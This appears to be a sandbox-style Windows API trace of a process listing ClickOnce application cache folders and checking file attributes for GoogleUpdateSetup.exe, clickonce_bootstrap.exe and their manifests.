	[0066.222] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms", cAlternateFileName="")) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.manifest", cAlternateFileName="")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.cdf-ms", cAlternateFileName="CLICKO~1.CDF")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap_unsigned.manifest", cAlternateFileName="CLICKO~1.MAN")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="")) returned 1
	[0066.223] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.223] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.223] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x127da238 | out: lpFileInformation=0x127da238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58)) returned 1
	[0066.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x127da288 | out: lpFileInformation=0x127da288*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50)) returned 1
	[0066.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), fInfoLevelId=0x0, lpFileInformation=0x127da2d8 | out: lpFileInformation=0x127da2d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0)) returned 1
	[0066.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), fInfoLevelId=0x0, lpFileInformation=0x127da328 | out: lpFileInformation=0x127da328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b)) returned 1
	[0066.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), fInfoLevelId=0x0, lpFileInformation=0x127da378 | out: lpFileInformation=0x127da378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1
	[0066.228] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), fInfoLevelId=0x0, lpFileInformation=0x127da3c8 | out: lpFileInformation=0x127da3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1
	[0066.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests"), fInfoLevelId=0x0, lpFileInformation=0x127da418 | out: lpFileInformation=0x127da418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cAlternateFileName="CLICEX~1.CDF")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", cAlternateFileName="CLICEX~1.MAN")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", cAlternateFileName="GOOGAP~1.CDF")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", cAlternateFileName="GOOGAP~1.MAN")) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.230] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), fInfoLevelId=0x0, lpFileInformation=0x127da5a8 | out: lpFileInformation=0x127da5a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0)) returned 1
	[0066.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), fInfoLevelId=0x0, lpFileInformation=0x127da5f8 | out: lpFileInformation=0x127da5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x354b)) returned 1
	[0066.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), fInfoLevelId=0x0, lpFileInformation=0x127da648 | out: lpFileInformation=0x127da648*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x38b0)) returned 1
	[0066.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x127da698 | out: lpFileInformation=0x127da698*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2e30)) returned 1
	[0066.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data"), fInfoLevelId=0x0, lpFileInformation=0x127da6e8 | out: lpFileInformation=0x127da6e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.234] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7"), fInfoLevelId=0x0, lpFileInformation=0x127da788 | out: lpFileInformation=0x127da788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.234] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
